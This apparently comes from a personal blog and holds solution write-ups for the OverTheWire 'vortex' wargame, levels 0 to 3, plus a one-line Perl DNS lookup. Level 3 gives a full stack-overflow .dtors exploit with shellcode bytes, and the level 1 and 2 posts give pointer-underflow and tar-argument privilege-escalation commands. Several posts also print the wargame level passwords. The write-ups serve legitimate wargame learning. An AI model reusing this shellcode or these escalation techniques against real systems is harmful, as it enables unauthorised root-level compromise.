$ perl -e 'use Socket; print inet_ntoa(inet_aton("example.com"));'
Friday, October 21, 2011
how to (quickly) perform a dns lookup without nslookup, dig, etc
Use perl for example:
Monday, June 6, 2011
vortex3
Solution for OTW wargame vortex, level 3
0. Analysis
Here's a rough layout of the process memory:
0. Analysis
/* * 0xbadc0ded.org Challenge #02 (2003-07-08) * * Joel Eriksson*/ #include #include #include unsigned long val = 31337; unsigned long *lp = &val; int main(int argc, char **argv) { unsigned long **lpp = &lp, *tmp; char buf[128]; if (argc != 2) exit(1); strcpy(buf, argv[1]); if (((unsigned long) lpp & 0xffff0000) != 0x08040000) exit(2); tmp = *lpp; **lpp = (unsigned long) &buf; *lpp = tmp; exit(0); }
Here's a rough layout of the process memory:
lower memory addresses +=================+ .text | &__DTORS_END__ | ---+ <-+ (A) +=================+ | | | | +=================+ | | __DTORS_LIST__ | 0xFFFFFFFF | | | +-----------------+ <--+ | __DTORS_END__ | &buf | ---+ | (B) +=================+ | | | | end of stack +=================+ | | | buf (128 bytes) | <--+ | (C) | | | | | | +-----------------+ | | tmp | | +-----------------+ | | lpp | -------+ higher memory +=================+ addressesOn line 23, the program uses the vulnerable string function strcpy to copy a user provided string to local variable buf on the stack:
strcpy(buf, argv[1]);The problem is that the function lacks boundary checks on the destination; it will keep on copying characters from the source until reaching the NULL byte, regardless of the capacity of buf (as a side note: to avoid this type of vulnerability you should use strncpy instead which allows to specify how many bytes to copy at most.) By overflowing buf, it is possible to overwrite the variables tmp and lpp with arbitrary values. These variables are located just before buf on the stack. Remember that the stack grows downward, towards the lower memory addresses. We will focus on lpp; the value used to overwrite it must be fitted somewhere after the 128 bytes that fill up buf. The first obstacle consists in bypassing the check on line 25:
if (((unsigned long) lpp & 0xffff0000) != 0x08040000) exit(2);The value of lpp must therefore lie in the range 0x08040000-0x0804FFFF. Line 29 is the key to the exploit:
**lpp = (unsigned long) &buf;Typically, we will load a shellcode in buf. We will be able to reference it through &buf. This address will be written to the memory location referenced by **lpp. Since we also control lpp, we can actually write &buf anywhere possible in the process memory space. The hard part is the double indirection: in order to write &buf (C) to some memory location (B), we first need another memory location (A) with a reference to (B). As mentioned in the assignment's reading material, we should try to write &buf into the .dtors destructor table section. This is a special structure created by the GNU C compiler which holds a list destructors that will be called before exiting the program. If we manage to inject buf's address in this list, the corresponding memory location will be automatically executed after returning from main (win!). The structure of the .dtors table is fairly simple (see this article for more details). The first field referenced by the symbol __DTORS_LIST__ stores how many entries are kept in the list. The special value -1 (0xFFFFFFFF) denotes that the list is empty, though this seems to be ignored. All subsequent entries up to __DTOR_END__ contain the function pointers. We will append &buf exactly in this location. Use readelf to locate __DTOR_END__ in the symbol table:
$ readelf -s /vortex/vortex3 | grep -i __DTOR_END__ 58: 08049540 0 OBJECT GLOBAL HIDDEN 18 __DTOR_END__The tricky part now is that we cannot directly specify __DTOR_END__ as the target address because of the double indirection as mentioned above. Instead, we need a memory location that refers to __DTOR_END__, and in addition it must match 0x0804____ (because of the check on line 25). This memory location can be found by analyzing the auxiliary function __do_global_dtors_aux in the .text section which effectively calls the destructors:
$ gdb /vortex/vortex3 (gdb) disassemble __do_global_dtors_aux Dump of assembler code for function __do_global_dtors_aux: 0x08048350 <+0>: push %ebp 0x08048351 <+1>: mov %esp,%ebp 0x08048353 <+3>: push %ebx 0x08048354 <+4>: sub $0x4,%esp 0x08048357 <+7>: cmpb $0x0,0x8049640 0x0804835e <+14>: jne 0x804839f <__do_global_dtors_aux+79> 0x08048360 <+16>: mov 0x8049644,%eax 0x08048365 <+21>: mov $0x8049540,%ebx 0x0804836a <+26>: sub $0x804953c,%ebx 0x08048370 <+32>: sar $0x2,%ebx 0x08048373 <+35>: sub $0x1,%ebx 0x08048376 <+38>: cmp %ebx,%eax 0x08048378 <+40>: jae 0x8048398 <__do_global_dtors_aux+72> 0x0804837a <+42>: lea 0x0(%esi),%esi 0x08048380 <+48>: add $0x1,%eax 0x08048383 <+51>: mov %eax,0x8049644 0x08048388 <+56>: call *0x804953c(,%eax,4) 0x0804838f <+63>: mov 0x8049644,%eax 0x08048394 <+68>: cmp %ebx,%eax 0x08048396 <+70>: jb 0x8048380 <__do_global_dtors_aux+48> 0x08048398 <+72>: movb $0x1,0x8049640 0x0804839f <+79>: add $0x4,%esp 0x080483a2 <+82>: pop %ebx 0x080483a3 <+83>: pop %ebp 0x080483a4 <+84>: ret 0x080483a5 <+85>: lea 0x0(%esi,%eiz,1),%esi 0x080483a9 <+89>: lea 0x0(%edi,%eiz,1),%edi End of assembler dump.The instruction at <__do_global_dtors_aux+21> (memory address 0x08048365) actually contains the required reference as its argument. If we skip the mov opcode (1 byte) we get 0x08048366:
(gdb) x/x 0x08048366 0x8048366 <__do_global_dtors_aux+22>: 0x08049540Another way of finding the address reference is to grep the required address in the program dump:
$ objdump -s /vortex/vortex3 | egrep 40[[:space:]]*95[[:space:]]*04[[:space:]]*08 8048360 a1449604 08bb4095 040881eb 3c950408 .D....@.....<...1. The exploit It's now time to prepare the shellcode. I first used an execsh-payload generated with metasploit:
msf > use linux/x86/exec msf payload(exec) > set CMD /bin/sh CMD => /bin/sh msf payload(exec) > set ENCODER x86/call4_dword_xor ENCODER => x86/call4_dword_xor msf payload(exec) > generate -s 60 -t perl # linux/x86/exec - 128 bytes # http://www.metasploit.com # Encoder: x86/call4_dword_xor # NOP gen: x86/opty2 # AppendExit=false, PrependChrootBreak=false, CMD=/bin/sh, # PrependSetresuid=false, PrependSetuid=false, # PrependSetreuid=false my $buf = "\xfc\x91\xba\xa9\x72\x2a\xf5\x86\xf9\x93\xb3\x9b\xd4\x34" . "\x7d\x1c\xe0\x24\x9f\x1d\x2c\x43\x85\xd5\x49\x80\xf8\x48" . "\x35\x4a\x99\xb8\x04\x4b\x0d\x92\x90\x2f\x8d\xb6\x37\x3d" . "\x98\xb4\x4e\x0c\x27\x25\xb2\x05\x67\x4f\x97\xb9\xbe\xb7" . "\x40\xb0\x1b\xfd\x2b\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff" . "\xc0\x5e\x81\x76\x0e\xa1\xd8\x44\x7f\x83\xee\xfc\xe2\xf4" . "\xcb\xd3\x1c\xe6\xf3\xbe\x2c\x52\xc2\x51\xa3\x17\x8e\xab" . "\x2c\x7f\xc9\xf7\x26\x16\xcf\x51\xa7\x2d\x49\xd0\x44\x7f" . "\xa1\xf7\x26\x16\xcf\xf7\x37\x17\xa1\x8f\x17\xf6\x40\x15" . "\xc4\x7f";
It is padded with nops to attain the 128 bytes used to fill up buf. The target address 0x8048366 (converted in little endian) is then appended.
$ /vortex/vortex3 \ "`perl -e 'print "\x98\x3c\x7e\x0c\x05\x46\x49\x15\x6b\xd0\xd4\x66\x9b\xb8" . "\x93\x7b\x24\xb0\x42\xfd\x92\x27\x69\xd5\x37\x67\x9f\xb6" . "\x76\x04\xb1\xb9\x3f\xa8\x90\x23\xf5\xbb\xb4\x4e\x3d\xb3" . "\x97\x2d\x91\x99\x25\xfc\x41\x4b\xbe\x1c\xf8\x4f\xba\xb7" . "\x47\x4a\x96\x2f\x29\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff" . "\xc0\x5e\x81\x76\x0e\x59\xac\x6e\x65\x83\xee\xfc\xe2\xf4" . "\x33\xa7\x36\xfc\x0b\xca\x06\x48\x3a\x25\x89\x0d\x76\xdf" . "\x06\x65\x31\x83\x0c\x0c\x37\x25\x8d\x37\xb1\xa5\x6e\x65" . "\x59\x83\x0c\x0c\x37\x83\x1d\x0d\x59\xac\x39\x36\xd0\x4d" . "\xa3\xe5" . "\x66\x83\x04\x08"x4'`" Segmentation faultUnfortunately, the process terminates with a segmentation fault. There is a mention in the assignment notes: "ctors/dtors might no longer be writable, although this level is compiled with -Wl,-z,norelro." Writing in .dtors isn't the reason for the segfault, though. The segfault occurs a bit later because we're trying to write in the .text section, where *lpp points to (see line 30 in the C source code). The rest of this article describes a successful attempt achieved before vortex moved and recompiled the levels. It uses a homebrew shellcode taken from this blog article. Fortunately, the password is still the same. 2. Exploit (revisited)
.text .globl main main: jmp foo bar: # recover string addr popl %esi # uid_t geteuid(void) xor %eax, %eax movb $49, %al int $0x80 # int setreuid(uid_t ruid, uid_t euid) movl %eax, %ebx movl %eax, %ecx xor %eax, %eax movb $70, %al int $0x80 # int execve(const char *filename, char *const argv[], # char *const envp[]) xor %eax, %eax movb %al, 7(%esi) movl %esi, %ebx movl %esi, 8(%esi) leal 8(%esi), %ecx movl %eax, 12(%esi) xor %edx, %edx movb $11, %al int $0x80 foo: call bar baz: # pos: 0123456789abcdef .ascii "/bin/sh#########"Assemble it (note: no need to link it, since no absolute addresses are used):
$ as -o foo.o foo.sThis is done to extract the shellcode, take all data inside the .text section (0x3e bytes from offset 0x34)
$ objdump -h foo.o main.o: file format elf32-i386 Sections: Idx Name Size VMA LMA File off Algn 0 .text 0000003e 00000000 00000000 00000034 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 1 .data 00000000 00000000 00000000 00000074 2**2 CONTENTS, ALLOC, LOAD, DATA 2 .bss 00000000 00000000 00000000 00000074 2**2 ALLOC $ dd if=main.o bs=1 count=62 skip=52 | \ ruby -e 'puts ARGF.read.unpack("C*").map {|x| sprintf("\\x%02x", x)}.join' 62+0 records in 62+0 records out 62 bytes (62 B) copied, 0.000157837 s, 393 kB/s \xeb\x27\x5e\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31 \xc0\x88\x46\x07\x89\xf3\x89\x76\x08\x8d\x4e\x08\x89\x46\x0c\x31\xd2\xb0\x0b\xcd \x80\xe8\xd4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x23\x23\x23\x23\x23\x23 \x23\x23Here is the result:
$ /vortex/vortex3 "`perl -e 'print "\xeb\x27\x5e\x31\xc0\xb0\x31\xcd", > "\x80\x89\xc3\x89\xc1\x31\xc0\xb0", > "\x46\xcd\x80\x31\xc0\x88\x46\x07", > "\x89\xf3\x89\x76\x08\x8d\x4e\x08", > "\x89\x46\x0c\x31\xd2\xb0\x0b\xcd", > "\x80\xe8\xd4\xff\xff\xff\x2f\x62", > "\x69\x6e\x2f\x73\x68\x23\x23\x23", > "\x23\x23\x23\x23\x23\x23","\x90"x66,"\x98\x94\x04\x08"x4'`" sh-3.2$ whoami vortex4 sh-3.2$ cat /etc/vortex_pass/vortex4 2YmgK1=jw
Saturday, June 4, 2011
vortex2
Solution for OTW wargame vortex, level 2
Notes:
Both the password-file and the vortex2-binary belong to user vortex3. The binary also has the SUID-bit set for execution, this means the process will be run as user vortex3, which is the only user which has read/write permissions on the password file.
The call to the vortex2-binary creates a tar-archive in /tmp. I first thought $$ would be evaluated to the PID of the running shell, in order to create one file per bash-user, but actually the file name is treated literally.
One can specify up to 3 additional arguments to tar, one is enough to specify which file to include in the archive.
#include#include #include int main(int argc, char **argv) { char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar", argv[1], argv[2], argv[3] }; execv(args[0], args); }
$ /vortex/vortex2 /etc/vortex_pass/vortex3 $ tar xfO /tmp/ownership.\$\$.tar 64ncXTvx#
Notes:
Both the password-file and the vortex2-binary belong to user vortex3. The binary also has the SUID-bit set for execution, this means the process will be run as user vortex3, which is the only user which has read/write permissions on the password file.
$ ls -al /etc/vortex_pass/vortex3 -r-------- 1 vortex3 vortex3 10 2011-11-14 18:15 /etc/vortex_pass/vortex3 $ ls -la /vortex/vortex2 -r-sr-x--- 1 vortex3 vortex2 7134 2011-11-13 23:07 /vortex/vortex2
The call to the vortex2-binary creates a tar-archive in /tmp. I first thought $$ would be evaluated to the PID of the running shell, in order to create one file per bash-user, but actually the file name is treated literally.
One can specify up to 3 additional arguments to tar, one is enough to specify which file to include in the archive.
vortex1
Solution for OTW wargame vortex, level 1
Notes:
A 512 byte buffer is allocated on the stack. The pointer ptr initially points right in the middle of the buffer. Following commands can be input:
ptr is declared after buf, therefore it is allocated over buf on the stack frame (at a lower memory address). Since there is no lower memory bound check, it is possible to overwrite ptr's value. The idea is to decrease ptr until it points onto itself and then write the value 0xCA.
Here is the memory layout:
#include#include #include #include #define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); } void print(unsigned char *buf, int len) { int i; printf("[ "); for(i=0; i < len; i++) printf("%x ", buf[i]); printf(" ]\n"); } int main() { unsigned char buf[512]; unsigned char *ptr = buf + (sizeof(buf)/2); unsigned int x; while((x = getchar()) != EOF) { switch(x) { case '\n': print(buf, sizeof(buf)); continue; break; case '\\': ptr--; break; default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break; } } printf("All done\n"); }
$ ( perl -e 'print "\\" x 257 . "\xCA!"'; echo \ "cat /etc/vortex_pass/vortex2" ) | /vortex/vortex1 sh-3.2$ 23anbT\rE sh-3.2$ exit
Notes:
A 512 byte buffer is allocated on the stack. The pointer ptr initially points right in the middle of the buffer. Following commands can be input:
- \ (backslash): decrease ptr by one
- \n (newline): print buffer content
- EOF: end execution
- Any other character:
- if ptr's value is 0xCA______, execute a shell.
- while ptr isn't beyond the end of buffer, write the character and increase ptr.
ptr is declared after buf, therefore it is allocated over buf on the stack frame (at a lower memory address). Since there is no lower memory bound check, it is possible to overwrite ptr's value. The idea is to decrease ptr until it points onto itself and then write the value 0xCA.
Here is the memory layout:
lower memory +-----------------+ addresses | ptr (4 bytes) |-----+ +-----------------+ | | buf (512 bytes) | | ptr points | | | somewhere in | | | buf higher memory | | | addresses | |<----+
Thursday, June 2, 2011
vortex0
This is my solution of the OTW wargame vortex, level 0:
Here the result (spoiler):
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <arpa/inet.h> #include <netinet/in.h> #include <unistd.h> #define HOST "vortex.labs.overthewire.org" #define PORT "5842" #define BUF_SIZ 100 void *get_in_addr(struct sockaddr *sa) { if (sa->sa_family == AF_INET) { return &(((struct sockaddr_in*)sa)->sin_addr); } return &(((struct sockaddr_in6*)sa)->sin6_addr); } int main (int argc, const char * argv[]) { struct addrinfo hints, *res, *p; int numbytes, totalbytes, status, i; uint32_t sum, *in; char ipstr[INET6_ADDRSTRLEN]; char buf[BUF_SIZ]; int sockfd = 0; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; if ((status = getaddrinfo(HOST, PORT, &hints, &res)) != 0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(status)); return 1; } for (p = res; p != NULL; p = p->ai_next) { if ((sockfd = socket(PF_INET, SOCK_STREAM, p->ai_protocol)) == -1) { perror("client: socket"); continue; } if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) { close(sockfd); perror("client: connect"); continue; } break; } if (p == NULL) { fprintf(stderr, "client: failed to connect.\n"); return 1; } inet_ntop(p->ai_family, get_in_addr((struct sockaddr *) p->ai_addr), ipstr, sizeof(ipstr)); printf("Connecting to %s (%s)\n", HOST, ipstr); freeaddrinfo(res); // get 4 ints totalbytes = 0; while (totalbytes < 16) { if ((numbytes = recv(sockfd, buf + totalbytes, BUF_SIZ - totalbytes - 1, 0)) == -1) { perror("recv"); return 1; } totalbytes += numbytes; } printf("Received %d bytes.\n", totalbytes); // compute sum sum = 0; in = (uint32_t*) buf; for (i = 0; i < totalbytes / 4; i++) { printf("network: 0x%x (%u)\thost: 0x%x (%u)\n", in[i], in[i], ntohl(in[i]), ntohl(in[i])); //sum += ntohl(in[i]); sum += in[i]; } printf("Sum: 0x%x (%u).\n", sum, sum); // return the result // sum = htonl(sum); if (send(sockfd, &sum, sizeof(uint32_t), 0) == -1) { perror("send"); return 1; } // get response from server if ((numbytes = recv(sockfd, buf, BUF_SIZ-1, 0)) == -1) { perror("recv"); return 1; } buf[numbytes] = '\0'; printf("Response: %s\n", buf); close(sockfd); return 0; }
Here the result (spoiler):
$ ./vortex1 Connecting to vortex.labs.overthewire.org (69.55.233.89) Received 16 bytes. network: 0x4365c6e5 (1130743525) host: 0xe5c66543 (3854984515) network: 0x26e1369a (652293786) host: 0x9a36e126 (2587287846) network: 0x37ff6044 (939483204) host: 0x4460ff37 (1147207479) network: 0x2c6cdca4 (745331876) host: 0xa4dc6c2c (2765909036) Sum: 0xceb33a67 (3467852391). Response: Username: vortex1 Password: Gq#qu3bF3
Subscribe to:
Posts (Atom)